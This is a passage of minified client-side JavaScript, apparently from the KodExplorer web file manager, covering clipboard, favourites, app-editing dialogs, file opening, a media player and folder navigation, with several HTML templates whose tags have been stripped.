i&&i(e.info)}}))},z=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:z,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        '),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0; +if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='
        '+LNG.unknow_file_tips+"
        "+t+"


        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("
        "+l+"
        ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var 